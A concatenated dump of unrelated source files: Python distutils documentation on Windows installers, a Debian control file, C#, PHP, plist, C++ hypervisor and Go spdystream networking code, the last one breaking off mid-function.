:file:`foo-1.0.win32-py2.0.exe`. You\nhave to create a separate installer for every Python version you want to\nsupport.\n\nThe installer will try to compile pure modules into :term:`bytecode` after installation\non the target system in normal and optimizing mode. If you don't want this to\nhappen for some reason, you can run the :command:`bdist_wininst` command with\nthe :option:`--no-target-compile` and/or the :option:`--no-target-optimize`\noption.\n\nBy default the installer will display the cool \"Python Powered\" logo when it is\nrun, but you can also supply your own 152x261 bitmap which must be a Windows\n:file:`.bmp` file with the :option:`--bitmap` option.\n\nThe installer will also display a large title on the desktop background window\nwhen it is run, which is constructed from the name of your distribution and the\nversion number. This can be changed to another text by using the\n:option:`--title` option.\n\nThe installer file will be written to the \"distribution directory\" --- normally\n:file:`dist/`, but customizable with the :option:`--dist-dir` option.\n\n.. _cross-compile-windows:\n\nCross-compiling on Windows\n==========================\n\nStarting with Python 2.6, distutils is capable of cross-compiling between\nWindows platforms. In practice, this means that with the correct tools\ninstalled, you can use a 32bit version of Windows to create 64bit extensions\nand vice-versa.\n\nTo build for an alternate platform, specify the :option:`--plat-name` option\nto the build command. Valid values are currently 'win32', 'win-amd64' and\n'win-ia64'. For example, on a 32bit version of Windows, you could execute::\n\n python setup.py build --plat-name=win-amd64\n\nto build a 64bit version of your extension. The Windows Installers also\nsupport this option, so the command::\n\n python setup.py build --plat-name=win-amd64 bdist_wininst\n\nwould create a 64bit installation executable on your 32bit version of Windows.\n\nTo cross-compile, you must download the Python source code and cross-compile\nPython itself for the platform you are targetting - it is not possible from a\nbinary installation of Python (as the .lib etc file for other platforms are\nnot included.) In practice, this means the user of a 32 bit operating\nsystem will need to use Visual Studio 2008 to open the\n:file:`PCBuild/PCbuild.sln` solution in the Python source tree and build the\n\"x64\" configuration of the 'pythoncore' project before cross-compiling\nextensions is possible.\n\nNote that by default, Visual Studio 2008 does not install 64bit compilers or\ntools. You may need to reexecute the Visual Studio setup process and select\nthese tools (using Control Panel->[Add/Remove] Programs is a convenient way to\ncheck or modify your existing install.)\n\n.. _postinstallation-script:\n\nThe Postinstallation script\n---------------------------\n\nStarting with Python 2.3, a postinstallation script can be specified with the\n:option:`--install-script` option. The basename of the script must be\nspecified, and the script filename must also be listed in the scripts argument\nto the setup function.\n\nThis script will be run at installation time on the target system after all the\nfiles have been copied, with ``argv[1]`` set to :option:`-install`, and again at\nuninstallation time before the files are removed with ``argv[1]`` set to\n:option:`-remove`.\n\nThe installation script runs embedded in the windows installer, every output\n(``sys.stdout``, ``sys.stderr``) is redirected into a buffer and will be\ndisplayed in the GUI after the script has finished.\n\nSome functions especially useful in this context are available as additional\nbuilt-in functions in the installation script.\n\n\n.. function:: directory_created(path)\n file_created(path)\n\n These functions should be called when a directory or file is created by the\n postinstall script at installation time. It will register *path* with the\n uninstaller, so that it will be removed when the distribution is uninstalled.\n To be safe, directories are only removed if they are empty.\n\n\n.. function:: get_special_folder_path(csidl_string)\n\n This function can be used to retrieve special folder locations on Windows like\n the Start Menu or the Desktop. It returns the full path to the folder.\n *csidl_string* must be one of the following strings::\n\n \"CSIDL_APPDATA\"\n\n \"CSIDL_COMMON_STARTMENU\"\n \"CSIDL_STARTMENU\"\n\n \"CSIDL_COMMON_DESKTOPDIRECTORY\"\n \"CSIDL_DESKTOPDIRECTORY\"\n\n \"CSIDL_COMMON_STARTUP\"\n \"CSIDL_STARTUP\"\n\n \"CSIDL_COMMON_PROGRAMS\"\n \"CSIDL_PROGRAMS\"\n\n \"CSIDL_FONTS\"\n\n If the folder cannot be retrieved, :exc:`OSError` is raised.\n\n Which folders are available depends on the exact Windows version, and probably\n also the configuration. For details refer to Microsoft's documentation of the\n :c:func:`SHGetSpecialFolderPath` function.\n\n\n.. function:: create_shortcut(target, description, filename[, arguments[, workdir[, iconpath[, iconindex]]]])\n\n This function creates a shortcut. *target* is the path to the program to be\n started by the shortcut. *description* is the description of the shortcut.\n *filename* is the title of the shortcut that the user will see. *arguments*\n specifies the command line arguments, if any. *workdir* is the working directory\n for the program. *iconpath* is the file containing the icon for the shortcut,\n and *iconindex* is the index of the icon in the file *iconpath*. Again, for\n details consult the Microsoft documentation for the :class:`IShellLink`\n interface.\n\n\nVista User Access Control (UAC)\n===============================\n\nStarting with Python 2.6, bdist_wininst supports a :option:`--user-access-control`\noption. The default is 'none' (meaning no UAC handling is done), and other\nvalid values are 'auto' (meaning prompt for UAC elevation if Python was\ninstalled for all users) and 'force' (meaning always prompt for elevation).\n"} {"text": "Source: xcat-openstack-baremetal\nSection: admin\nPriority: extra\nMaintainer: xCAT <xcat-user@lists.sourceforge.net>\nBuild-Depends: debhelper (>= 9)\nStandards-Version: 3.9.4\nHomepage: https://xcat.org/\n\nPackage: xcat-openstack-baremetal\nArchitecture: all\nDepends: xcat-client\nDescription: Executables and data of xCAT baremetal driver for OpenStack\n"} {"text": "using System;\nusing System.Collections.Generic;\nusing System.Text;\nusing Microsoft.AspNetCore.Identity.EntityFrameworkCore;\nusing Microsoft.EntityFrameworkCore;\n\nnamespace RPCC.Data\n{\n public class ApplicationDbContext : IdentityDbContext\n {\n public ApplicationDbContext(DbContextOptions<ApplicationDbContext> options)\n : base(options)\n {\n }\n }\n}\n"} {"text": "<?php\nrequire \"include/bittorrent.php\";\ndbconn();\nrequire_once(get_langfile_path());\n\nstdhead(PROJECTNAME);\nprint (\"<h1>\".PROJECTNAME.\"</h1>\");\nbegin_main_frame();\nbegin_frame(\"<span id=\\\"version\\\">\".$lang_aboutnexus['text_version'].\"</span>\");\nprint ($lang_aboutnexus['text_version_note']);\nprint (\"<br /><br /><table class=\\\"main\\\" border=\\\"1\\\" cellspacing=\\\"0\\\" cellpadding=\\\"5\\\" align=\\\"center\\\">\");\ntr($lang_aboutnexus['text_main_version'],$mainversion_code,1);\ntr($lang_aboutnexus['text_sub_version'],$subversion_code,1);\ntr($lang_aboutnexus['text_release_date'],$releasedate_code,1);\nprint (\"</table>\");\nprint (\"<br /><br />\");\nend_frame();\nbegin_frame(\"<span id=\\\"nexus\\\">\".$lang_aboutnexus['text_nexus'].PROJECTNAME.\"</span>\");\nprint (PROJECTNAME.$lang_aboutnexus['text_nexus_note']);\nprint (\"<br /><br />\");\nend_frame();\nbegin_frame(\"<span id=\\\"authorization\\\">\".$lang_aboutnexus['text_authorization'].\"</span>\");\nprint ($lang_aboutnexus['text_authorization_note']);\nprint (\"<br /><br />\");\nend_frame();\nunset($ppl);\n$res = sql_query(\"SELECT * FROM language ORDER BY trans_state\") or sqlerr();\nwhile ($arr = mysql_fetch_assoc($res))\n{\n\t$ppl .= \"<tr><td class=\\\"rowfollow\\\"><img width=\\\"24\\\" height=\\\"15\\\" src=\\\"pic/flag/\".$arr[flagpic].\"\\\" alt=\\\"\".$arr[lang_name].\"\\\" title=\\\"\".$arr[lang_name].\"\\\" style=\\\"padding-bottom:1px;\\\" /></td>\n <td class=\\\"rowfollow\\\">\".$arr['lang_name'].\"</td>\".\n \"<td class=\\\"rowfollow\\\">\".$arr['trans_state'].\"</td></tr>\\n\";\n}\nbegin_frame(\"<span id=\\\"translation\\\">\".$lang_aboutnexus['text_translation'].\"</span>\");\nprint (PROJECTNAME.$lang_aboutnexus['text_translation_note']);\nprint (\"<br /><br /><table class=\\\"main\\\" border=\\\"1\\\" cellspacing=\\\"0\\\" cellpadding=\\\"5\\\" align=\\\"center\\\"><tr><td class=\\\"colhead\\\">\".$lang_aboutnexus['text_flag'].\"</td><td class=\\\"colhead\\\">\".$lang_aboutnexus['text_language'].\"</td><td class=\\\"colhead\\\">\".$lang_aboutnexus['text_state'].\"</td></tr>\");\nprint ($ppl);\nprint (\"</table>\");\nprint (\"<br /><br />\");\nend_frame();\nunset($ppl);\n$res = sql_query(\"SELECT * FROM stylesheets ORDER BY id\") or sqlerr();\nwhile ($arr = mysql_fetch_assoc($res))\n{\n\t$ppl .= \"<tr><td class=\\\"rowfollow\\\">\".$arr['name'].\"</td>\n <td class=\\\"rowfollow\\\">\".$arr['designer'].\"</td>\".\n \"<td class=\\\"rowfollow\\\">\".$arr['comment'].\"</td></tr>\\n\";\n}\nbegin_frame(\"<span id=\\\"stylesheet\\\">\".$lang_aboutnexus['text_stylesheet'].\"</span>\");\nprint ($lang_aboutnexus['text_stylesheet_note']);\nprint (\"<br /><br /><table class=\\\"main\\\" border=\\\"1\\\" cellspacing=\\\"0\\\" cellpadding=\\\"5\\\" align=\\\"center\\\"><tr><td class=\\\"colhead\\\">\".$lang_aboutnexus['text_name'].\"</td><td class=\\\"colhead\\\">\".$lang_aboutnexus['text_designer'].\"</td><td class=\\\"colhead\\\">\".$lang_aboutnexus['text_comment'].\"</td></tr>\");\nprint ($ppl);\nprint (\"</table>\");\nprint (\"<br /><br />\");\nend_frame();\nbegin_frame(\"<span id=\\\"contact\\\">\".$lang_aboutnexus['text_contact'].PROJECTNAME.\"</span>\");\nprint ($lang_aboutnexus['text_contact_note']);\nprint (\"<br /><br /><table class=\\\"main\\\" border=\\\"1\\\" cellspacing=\\\"0\\\" cellpadding=\\\"5\\\" align=\\\"center\\\">\");\ntr($lang_aboutnexus['text_web_site'],$website_code ? $website_code : \"N/A\",1);\nprint (\"</table>\");\nprint (\"<br /><br />\");\nend_frame();\nend_main_frame();\nstdfoot();\n?>\n"} {"text": "// Copyright (c) Microsoft Corporation. All rights reserved.\n// Licensed under the MIT license. See LICENSE file in the project root for full license information.\n\n\nnamespace Microsoft.IIS.Administration.WebServer\n{\n using Certificates;\n using System.Collections.Generic;\n using System.Security.Cryptography.X509Certificates;\n\n class CertStore : ICertificateStoreConfiguration\n {\n public string Name { get; set; }\n public string Path { get; set; }\n public IEnumerable<string> Claims { get; set; }\n\n public StoreLocation StoreLocation {\n get {\n return StoreLocation.LocalMachine;\n }\n }\n }\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>CFBundleDevelopmentRegion</key>\n\t<string>en</string>\n\t<key>CFBundleExecutable</key>\n\t<string>$(EXECUTABLE_NAME)</string>\n\t<key>CFBundleIdentifier</key>\n\t<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>\n\t<key>CFBundleInfoDictionaryVersion</key>\n\t<string>6.0</string>\n\t<key>CFBundleName</key>\n\t<string>$(PRODUCT_NAME)</string>\n\t<key>CFBundlePackageType</key>\n\t<string>FMWK</string>\n\t<key>CFBundleShortVersionString</key>\n\t<string>1.0</string>\n\t<key>CFBundleVersion</key>\n\t<string>$(CURRENT_PROJECT_VERSION)</string>\n\t<key>NSHumanReadableCopyright</key>\n\t<string>Copyright © 2016年 ShinCurry. All rights reserved.</string>\n\t<key>NSPrincipalClass</key>\n\t<string></string>\n</dict>\n</plist>\n"} {"text": "//\n// Copyright (C) 2019 Assured Information Security, Inc.\n//\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the \"Software\"), to deal\n// in the Software without restriction, including without limitation the rights\n// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n// copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n//\n// The above copyright notice and this permission notice shall be included in all\n// copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n// SOFTWARE.\n\n// TIDY_EXCLUSION=-cppcoreguidelines-pro-type-reinterpret-cast\n//\n// Reason:\n// Although in general this is a good rule, for hypervisor level code that\n// interfaces with the kernel, and raw hardware, this rule is\n// impractical.\n//\n\n#include <hve/arch/intel_x64/vcpu.h>\n#include <hve/arch/intel_x64/exit_handler.h>\n\n// -----------------------------------------------------------------------------\n// Handlers\n// -----------------------------------------------------------------------------\n\nnamespace bfvmm::intel_x64\n{\n\n// -----------------------------------------------------------------------------\n// Implementation\n// -----------------------------------------------------------------------------\n\nexit_handler::exit_handler(\n gsl::not_null<vcpu *> vcpu)\n{ bfignored(vcpu); }\n\nvoid\nexit_handler::add_handler(\n ::intel_x64::vmcs::value_type reason,\n const handler_delegate_t &d)\n{ m_exit_handlers_array.at(reason).push_front(d); }\n\nvoid\nexit_handler::add_exit_handler(\n const handler_delegate_t &d)\n{ m_exit_handlers.push_front(d); }\n\n}\n\nextern \"C\" void\nhandle_exit(\n vcpu_t *vcpu, exit_handler_t *exit_handler)\n{\n guard_exceptions([&]() {\n\n for (const auto &d : exit_handler->m_exit_handlers) {\n d(vcpu);\n }\n\n const auto &handlers =\n exit_handler->m_exit_handlers_array.at(\n vmcs_n::exit_reason::basic_exit_reason::get()\n );\n\n for (const auto &d : handlers) {\n if (d(vcpu)) {\n vcpu->run();\n }\n }\n });\n\n vcpu->halt(\"unhandled vm exit\");\n}\n"} {"text": "package context\n\nimport (\n\t\"time\"\n)\n\n// Since looks up key, which should be a time.Time, and returns the duration\n// since that time. If the key is not found, the value returned will be zero.\n// This is helpful when inferring metrics related to context execution times.\nfunc Since(ctx Context, key interface{}) time.Duration {\n\tif startedAt, ok := ctx.Value(key).(time.Time); ok {\n\t\treturn time.Since(startedAt)\n\t}\n\treturn 0\n}\n\n// GetStringValue returns a string value from the context. The empty string\n// will be returned if not found.\nfunc GetStringValue(ctx Context, key interface{}) (value string) {\n\tif valuev, ok := ctx.Value(key).(string); ok {\n\t\tvalue = valuev\n\t}\n\treturn value\n}\n"} {"text": "package spdystream\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/docker/spdystream/spdy\"\n)\n\nvar (\n\tErrInvalidStreamId = errors.New(\"Invalid stream id\")\n\tErrTimeout = errors.New(\"Timeout occured\")\n\tErrReset = errors.New(\"Stream reset\")\n\tErrWriteClosedStream = errors.New(\"Write on closed stream\")\n)\n\nconst (\n\tFRAME_WORKERS = 5\n\tQUEUE_SIZE = 50\n)\n\ntype StreamHandler func(stream *Stream)\n\ntype AuthHandler func(header http.Header, slot uint8, parent uint32) bool\n\ntype idleAwareFramer struct {\n\tf *spdy.Framer\n\tconn *Connection\n\twriteLock sync.Mutex\n\tresetChan chan struct{}\n\tsetTimeoutLock sync.Mutex\n\tsetTimeoutChan chan time.Duration\n\ttimeout time.Duration\n}\n\nfunc newIdleAwareFramer(framer *spdy.Framer) *idleAwareFramer {\n\tiaf := &idleAwareFramer{\n\t\tf: framer,\n\t\tresetChan: make(chan struct{}, 2),\n\t\t// setTimeoutChan needs to be buffered to avoid deadlocks when calling setIdleTimeout at about\n\t\t// the same time the connection is being closed\n\t\tsetTimeoutChan: make(chan time.Duration, 1),\n\t}\n\treturn iaf\n}\n\nfunc (i *idleAwareFramer) monitor() {\n\tvar (\n\t\ttimer *time.Timer\n\t\texpired <-chan time.Time\n\t\tresetChan = i.resetChan\n\t\tsetTimeoutChan = i.setTimeoutChan\n\t)\nLoop:\n\tfor {\n\t\tselect {\n\t\tcase timeout := <-i.setTimeoutChan:\n\t\t\ti.timeout = timeout\n\t\t\tif timeout == 0 {\n\t\t\t\tif timer != nil {\n\t\t\t\t\ttimer.Stop()\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif timer == nil {\n\t\t\t\t\ttimer = time.NewTimer(timeout)\n\t\t\t\t\texpired = timer.C\n\t\t\t\t} else {\n\t\t\t\t\ttimer.Reset(timeout)\n\t\t\t\t}\n\t\t\t}\n\t\tcase <-resetChan:\n\t\t\tif timer != nil && i.timeout > 0 {\n\t\t\t\ttimer.Reset(i.timeout)\n\t\t\t}\n\t\tcase <-expired:\n\t\t\ti.conn.streamCond.L.Lock()\n\t\t\tstreams := i.conn.streams\n\t\t\ti.conn.streams = make(map[spdy.StreamId]*Stream)\n\t\t\ti.conn.streamCond.Broadcast()\n\t\t\ti.conn.streamCond.L.Unlock()\n\t\t\tgo func() {\n\t\t\t\tfor _, stream := range streams {\n\t\t\t\t\tstream.resetStream()\n\t\t\t\t}\n\t\t\t\ti.conn.Close()\n\t\t\t}()\n\t\tcase <-i.conn.closeChan:\n\t\t\tif timer != nil {\n\t\t\t\ttimer.Stop()\n\t\t\t}\n\n\t\t\t// Start a goroutine to drain resetChan. This is needed because we've seen\n\t\t\t// some unit tests with large numbers of goroutines get into a situation\n\t\t\t// where resetChan fills up, at least 1 call to Write() is still trying to\n\t\t\t// send to resetChan, the connection gets closed, and this case statement\n\t\t\t// attempts to grab the write lock that Write() already has, causing a\n\t\t\t// deadlock.\n\t\t\t//\n\t\t\t// See https://github.com/docker/spdystream/issues/49 for more details.\n\t\t\tgo func() {\n\t\t\t\tfor _ = range resetChan {\n\t\t\t\t}\n\t\t\t}()\n\n\t\t\tgo func() {\n\t\t\t\tfor _ = range setTimeoutChan {\n\t\t\t\t}\n\t\t\t}()\n\n\t\t\ti.writeLock.Lock()\n\t\t\tclose(resetChan)\n\t\t\ti.resetChan = nil\n\t\t\ti.writeLock.Unlock()\n\n\t\t\ti.setTimeoutLock.Lock()\n\t\t\tclose(i.setTimeoutChan)\n\t\t\ti.setTimeoutChan = nil\n\t\t\ti.setTimeoutLock.Unlock()\n\n\t\t\tbreak Loop\n\t\t}\n\t}\n\n\t// Drain resetChan\n\tfor _ = range resetChan {\n\t}\n}\n\nfunc (i *idleAwareFramer) WriteFrame(frame spdy.Frame) error {\n\ti.writeLock.Lock()\n\tdefer i.writeLock.Unlock()\n\tif i.resetChan == nil {\n\t\treturn io.EOF\n\t}\n\terr := i.f.WriteFrame(frame)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ti.resetChan <- struct{}{}\n\n\treturn nil\n}\n\nfunc (i *idleAwareFramer) ReadFrame() (spdy.Frame, error) {\n\tframe, err := i.f.ReadFrame()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// resetChan should never be closed since it is only closed\n\t// when the connection has closed its closeChan. This closure\n\t// only occurs after all Reads have finished\n\t// TODO (dmcgowan): refactor relationship into connection\n\ti.resetChan <- struct{}{}\n\n\treturn frame, nil\n}\n\nfunc (i *idleAwareFramer) setIdleTimeout(timeout time.Duration) {\n\ti.setTimeoutLock.Lock()\n\tdefer i.setTimeoutLock.Unlock()\n\n\tif i.setTimeoutChan == nil {\n\t\treturn\n\t}\n\n\ti.setTimeoutChan <- timeout\n}\n\ntype Connection struct {\n\tconn net.Conn\n\tframer *idleAwareFramer\n\n\tcloseChan chan bool\n\tgoneAway bool\n\tlastStreamChan chan<- *Stream\n\tgoAwayTimeout time.Duration\n\tcloseTimeout time.Duration\n\n\tstreamLock *sync.RWMutex\n\tstreamCond *sync.Cond\n\tstreams map[spdy.StreamId]*Stream\n\n\tnextIdLock sync.Mutex\n\treceiveIdLock sync.Mutex\n\tnextStreamId spdy.StreamId\n\treceivedStreamId spdy.StreamId\n\n\tpingIdLock sync.Mutex\n\tpingId uint32\n\tpingChans map[uint32]chan error\n\n\tshutdownLock sync.Mutex\n\tshutdownChan chan error\n\thasShutdown bool\n\n\t// for testing https://github.com/docker/spdystream/pull/56\n\tdataFrameHandler func(*spdy.DataFrame) error\n}\n\n// NewConnection creates a new spdy connection from an existing\n// network connection.\nfunc NewConnection(conn net.Conn, server bool) (*Connection, error) {\n\tframer, framerErr := spdy.NewFramer(conn, conn)\n\tif framerErr != nil {\n\t\treturn nil, framerErr\n\t}\n\tidleAwareFramer := newIdleAwareFramer(framer)\n\tvar sid spdy.StreamId\n\tvar rid spdy.StreamId\n\tvar pid uint32\n\tif server {\n\t\tsid = 2\n\t\trid = 1\n\t\tpid = 2\n\t} else {\n\t\tsid = 1\n\t\trid = 2\n\t\tpid = 1\n\t}\n\n\tstreamLock := new(sync.RWMutex)\n\tstreamCond := sync.NewCond(streamLock)\n\n\tsession := &Connection{\n\t\tconn: conn,\n\t\tframer: idleAwareFramer,\n\n\t\tcloseChan: make(chan bool),\n\t\tgoAwayTimeout: time.Duration(0),\n\t\tcloseTimeout: time.Duration(0),\n\n\t\tstreamLock: streamLock,\n\t\tstreamCond: streamCond,\n\t\tstreams: make(map[spdy.StreamId]*Stream),\n\t\tnextStreamId: sid,\n\t\treceivedStreamId: rid,\n\n\t\tpingId: pid,\n\t\tpingChans: make(map[uint32]chan error),\n\n\t\tshutdownChan: make(chan error),\n\t}\n\tsession.dataFrameHandler = session.handleDataFrame\n\tidleAwareFramer.conn = session\n\tgo idleAwareFramer.monitor()\n\n\treturn session, nil\n}\n\n// Ping sends a ping frame across the connection and\n// returns the response time\nfunc (s *Connection) Ping() (time.Duration, error) {\n\tpid := s.pingId\n\ts.pingIdLock.Lock()\n\tif s.pingId > 0x7ffffffe {\n\t\ts.pingId = s.pingId - 0x7ffffffe\n\t} else {\n\t\ts.pingId = s.pingId + 2\n\t}\n\ts.pingIdLock.Unlock()\n\tpingChan := make(chan error)\n\ts.pingChans[pid] = pingChan\n\tdefer delete(s.pingChans, pid)\n\n\tframe := &spdy.PingFrame{Id: pid}\n\tstartTime := time.Now()\n\twriteErr := s.framer.WriteFrame(frame)\n\tif writeErr != nil {\n\t\treturn time.Duration(0), writeErr\n\t}\n\tselect {\n\tcase <-s.closeChan:\n\t\treturn time.Duration(0), errors.New(\"connection closed\")\n\tcase err, ok := <-pingChan:\n\t\tif ok && err != nil {\n\t\t\treturn time.Duration(0), err\n\t\t}\n\t\tbreak\n\t}\n\treturn time.Now().Sub(startTime), nil\n}\n\n// Serve handles frames sent from the server, including reply frames\n// which are needed to fully initiate connections. Both clients and servers\n// should call Serve in a separate goroutine before creating streams.\nfunc (s *Connection) Serve(newHandler StreamHandler) {\n\t// use a WaitGroup to wait for all frames to be drained after receiving\n\t// go-away.\n\tvar wg sync.WaitGroup\n\n\t// Parition queues to ensure stream frames are handled\n\t// by the same worker, ensuring order is maintained\n\tframeQueues := make([]*PriorityFrameQueue, FRAME_WORKERS)\n\tfor i := 0; i < FRAME_WORKERS; i++ {\n\t\tframeQueues[i] = NewPriorityFrameQueue(QUEUE_SIZE)\n\n\t\t// Ensure frame queue is drained when connection is closed\n\t\tgo func(frameQueue *PriorityFrameQueue) {\n\t\t\t<-s.closeChan\n\t\t\tframeQueue.Drain()\n\t\t}(frameQueues[i])\n\n\t\twg.Add(1)\n\t\tgo func(frameQueue *PriorityFrameQueue) {\n\t\t\t// let the WaitGroup know this worker is done\n\t\t\tdefer wg.Done()\n\n\t\t\ts.frameHandler(frameQueue, newHandler)\n\t\t}(frameQueues[i])\n\t}\n\n\tvar (\n\t\tpartitionRoundRobin int\n\t\tgoAwayFrame *spdy.GoAwayFrame\n\t)\nLoop:\n\tfor {\n\t\treadFrame, err := s.framer.ReadFrame()\n\t\tif err != nil {\n\t\t\tif err != io.EOF {\n\t\t\t\tfmt.Errorf(\"frame read error: %s\", err)\n\t\t\t} else {\n\t\t\t\tdebugMessage(\"(%p) EOF received\", s)\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t\tvar priority uint8\n\t\tvar partition int\n\t\tswitch frame := readFrame.(type) {\n\t\tcase *spdy.SynStreamFrame:\n\t\t\tif s.checkStreamFrame(frame) {\n\t\t\t\tpriority = frame.Priority\n\t\t\t\tpartition = int(frame.StreamId % FRAME_WORKERS)\n\t\t\t\tdebugMessage(\"(%p) Add stream frame: %d \", s, frame.StreamId)\n\t\t\t\ts.addStreamFrame(frame)\n\t\t\t} else {\n\t\t\t\tdebugMessage(\"(%p) Rejected stream frame: %d \", s, frame.StreamId)\n\t\t\t\tcontinue\n\t\t\t}\n\t\tcase *spdy.SynReplyFrame:\n\t\t\tpriority = s.getStreamPriority(frame.StreamId)\n\t\t\tpartition = int(frame.StreamId % FRAME_WORKERS)\n\t\tcase *spdy.DataFrame:\n\t\t\tpriority = s.getStreamPriority(frame.StreamId)\n\t\t\tpartition = int(frame.StreamId % FRAME_WORKERS)\n\t\tcase *spdy.RstStreamFrame:\n\t\t\tpriority = s.getStreamPriority(frame.StreamId)\n\t\t\tpartition = int(frame.StreamId % FRAME_WORKERS)\n\t\tcase *spdy.HeadersFrame:\n\t\t\tpriority = s.getStreamPriority(frame.StreamId)\n\t\t\tpartition = int(frame.StreamId % FRAME_WORKERS)\n\t\tcase *spdy.PingFrame:\n\t\t\tpriority = 0\n\t\t\tpartition = partitionRoundRobin\n\t\t\tpartitionRoundRobin = (partitionRoundRobin + 1) % FRAME_WORKERS\n\t\tcase *spdy.GoAwayFrame:\n\t\t\t// hold on to the go away frame and exit the loop\n\t\t\tgoAwayFrame = frame\n\t\t\tbreak Loop\n\t\tdefault:\n\t\t\tpriority = 7\n\t\t\tpartition = partitionRoundRobin\n\t\t\tpartitionRoundRobin = (partitionRoundRobin + 1) % FRAME_WORKERS\n\t\t}\n\t\tframeQueues[partition].Push(readFrame, priority)\n\t}\n\tclose(s.closeChan)\n\n\t// wait for all frame handler workers to indicate they've drained their queues\n\t// before handling the go away frame\n\twg.Wait()\n\n\tif goAwayFrame != nil {\n\t\ts.handleGoAwayFrame(goAwayFrame)\n\t}\n\n\t// now it's safe to close remote channels and empty s.streams\n\ts.streamCond.L.Lock()\n\t// notify streams that they're now closed, which will\n\t// unblock any stream Read() calls\n\tfor _, stream := range s.streams {\n\t\tstream.closeRemoteChannels()\n\t}\n\ts.streams = make(map[spdy.StreamId]*Stream)\n\ts.streamCond.Broadcast()\n\ts.streamCond.L.Unlock()\n}\n\nfunc (s *Connection) frameHandler(frameQueue *PriorityFrameQueue, newHandler StreamHandler) {\n\tfor {\n\t\tpopFrame := frameQueue.Pop()\n\t\tif popFrame == nil {\n\t\t\treturn\n\t\t}\n\n\t\tvar frameErr error\n\t\tswitch frame := popFrame.(type) {\n\t\tcase *spdy.SynStreamFrame:\n\t\t\tframeErr = s.handleStreamFrame(frame, newHandler)\n\t\tcase *spdy.SynReplyFrame:\n\t\t\tframeErr = s.handleReplyFrame(frame)\n\t\tcase *spdy.DataFrame:\n\t\t\tframeErr = s.dataFrameHandler(frame)\n\t\tcase *spdy.RstStreamFrame:\n\t\t\tframeErr = s.handleResetFrame(frame)\n\t\tcase *spdy.HeadersFrame:\n\t\t\tframeErr = s.handleHeaderFrame(frame)\n\t\tcase *spdy.PingFrame:\n\t\t\tframeErr = s.handlePingFrame(frame)\n\t\tcase *spdy.GoAwayFrame:\n\t\t\tframeErr = s.handleGoAwayFrame(frame)\n\t\tdefault:\n\t\t\tframeErr = fmt.Errorf(\"unhandled frame type: %T\", frame)\n\t\t}\n\n\t\tif frameErr != nil {\n\t\t\tfmt.Errorf(\"frame handling error: %s\", frameErr)\n\t\t}\n\t}\n}\n\nfunc (s *Connection) getStreamPriority(streamId spdy.StreamId) uint8 {\n\tstream, streamOk := s.getStream(streamId)\n\tif !streamOk {\n\t\treturn 7\n\t}\n\treturn stream.priority\n}\n\nfunc (s *Connection) addStreamFrame(frame *spdy.SynStreamFrame) {\n\tvar parent *Stream\n\tif frame.AssociatedToStreamId != spdy.StreamId(0) {\n\t\tparent, _ = s.getStream(frame.AssociatedToStreamId)\n\t}\n\n\tstream := &Stream{\n\t\tstreamId: frame.StreamId,\n\t\tparent: parent,\n\t\tconn: s,\n\t\tstartChan: make(chan error),\n\t\theaders: frame.Headers,\n\t\tfinished: (frame.CFHeader.Flags & spdy.ControlFlagUnidirectional) != 0x00,\n\t\treplyCond: sync.NewCond(new(sync.Mutex)),\n\t\tdataChan: make(chan []byte),\n\t\theaderChan: make(chan http.Header),\n\t\tcloseChan: make(chan bool),\n\t}\n\tif frame.CFHeader.Flags&spdy.ControlFlagFin != 0x00 {\n\t\tstream.closeRemoteChannels()\n\t}\n\n\ts.addStream(stream)\n}\n\n// checkStreamFrame checks to see if a stream frame is allowed.\n// If the stream is invalid, then a reset frame with protocol error\n// will be returned.\nfunc (s *Connection) checkStreamFrame(frame *spdy.SynStreamFrame) bool {\n\ts.receiveIdLock.Lock()\n\tdefer s.receiveIdLock.Unlock()\n\tif s.goneAway {\n\t\treturn false\n\t}\n\tvalidationErr := s.validateStreamId(frame.StreamId)\n\tif validationErr != nil {\n\t\tgo func() {\n\t\t\tresetErr := s.sendResetFrame(spdy.ProtocolError, frame.StreamId)\n\t\t\tif resetErr != nil {\n\t\t\t\tfmt.Errorf(\"reset error: %s\", resetErr)\n\t\t\t}\n\t\t}()\n\t\treturn false\n\t}\n\treturn true\n}\n\nfunc (s *Connection) handleStreamFrame(frame *spdy.SynStreamFrame, newHandler StreamHandler) error {\n\tstream, ok := s.getStream(frame.StreamId)\n\tif !ok {\n\t\treturn fmt.Errorf(\"Missing stream: %d\", frame.StreamId)\n\t}\n\n\tnewHandler(stream)\n\n\treturn nil\n}\n\nfunc (s *Connection) handleReplyFrame(frame *spdy.SynReplyFrame) error {\n\tdebugMessage(\"(%p) Reply frame received for %d\", s, frame.StreamId)\n\tstream, streamOk := s.getStream(frame.StreamId)\n\tif !streamOk {\n\t\tdebugMessage(\"Reply frame gone away for %d\", frame.StreamId)\n\t\t// Stream has already gone away\n\t\treturn nil\n\t}\n\tif stream.replied {\n\t\t// Stream has already received reply\n\t\treturn nil\n\t}\n\tstream.replied = true\n\n\t// TODO Check for error\n\tif (frame.CFHeader.Flags & spdy.ControlFlagFin) != 0x00 